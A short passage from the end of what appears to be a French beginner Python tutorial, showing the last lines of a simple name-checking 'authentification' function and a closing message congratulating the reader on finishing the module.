           print("Ce nom n'est pas connu de notre base :(")
   else:
       print("Il semblerait que quelque chose se soit mal passé")

authentification()

Bonne chance et bien jouĂ© pour avoir lu en entier ce module sur Python ! 👍